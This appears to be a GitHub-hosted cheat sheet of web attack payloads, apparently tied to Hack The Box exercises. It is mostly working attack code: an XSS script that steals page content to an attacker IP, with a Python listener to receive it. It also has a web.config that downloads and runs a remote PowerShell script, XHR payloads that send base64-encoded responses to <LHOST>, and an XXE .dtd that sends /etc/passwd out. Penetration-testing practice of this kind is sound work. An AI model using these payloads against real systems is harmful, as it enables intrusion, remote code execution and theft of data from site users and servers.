You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<script>
fetch('http://alert.htb/', {credentials: 'include'}) // Fetch the target page
.then(response =>response.text())// Convert the response to text.then(data=>{// Send the content via a GET requestfetch('http://10.10.14.86:8000/exfil?data='+encodeURIComponent(data));});
</script>
webserver.py
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerimportloggingclassRequestHandler(BaseHTTPRequestHandler):
defdo_POST(self):
content_length=int(self.headers['Content-Length'])
post_data=self.rfile.read(content_length)
logging.info("Received Data: %s", post_data.decode('utf-8'))
self.send_response(200)
self.end_headers()
defrun(server_class=HTTPServer, handler_class=RequestHandler, port=80):
logging.basicConfig(level=logging.INFO)
server_address= ('', port)
httpd=server_class(server_address, handler_class)
logging.info('Starting server on port %d...', port)
httpd.serve_forever()
if__name__=='__main__':
run(port=8000)
JavaScript (JS) Fetch Uniform Resource Locator (URL) and Base64 Encoding
<?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer></configuration><!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!<%Set s = CreateObject("WScript.Shell")Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')")o = cmd.StdOut.Readall()Response.write(o)%>-->
Extensible Markup Language (XML)
Extensible Markup Language (XML) Hypertext Markup Language (HTTP) Request (XHR) in JavaScript (JS)
Payload
var xhr = new XMLHttpRequest();xhr = new XMLHttpRequest();xhr.open('GET', 'http://localhost:8080/users/');xhr.onreadystatechange = function() { var users = JSON.parse(xhr.responseText); if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { for (var i = 0; i < users.length; ++i) { console.table(users[i]); } } else { console.error('There was a problem with the request. ' + users); }}xhr.send();
Forged Request
myhttpserver = 'http://<LHOST>/'targeturl = 'http://<RHOST>/'req = new XMLHttpRequest;req.onreadystatechange = function() { if (req.readyState == 4) { req2 = new XMLHttpRequest; req2.open('GET', myhttpserver + btoa(this.responseText),false); req2.send(); }}req.open('GET', targeturl, false);req.send();
Simple Version
req = new XMLHTTPRequest;req.open('GET',"http://<RHOST>/revshell.php");req.send();
Extensible Markup Language (XML) External Entity (XXE)
Request
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % <NAME> SYSTEM "http://<LHOST>/<FILE>.dtd">%<NAME>;]><root><method>GET</method><uri>/</uri><user><username><NAME>;</username><password><NAME></password></user></root>
Content of .dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://<LHOST>/?f=%file;'>">%eval;%exfiltrate;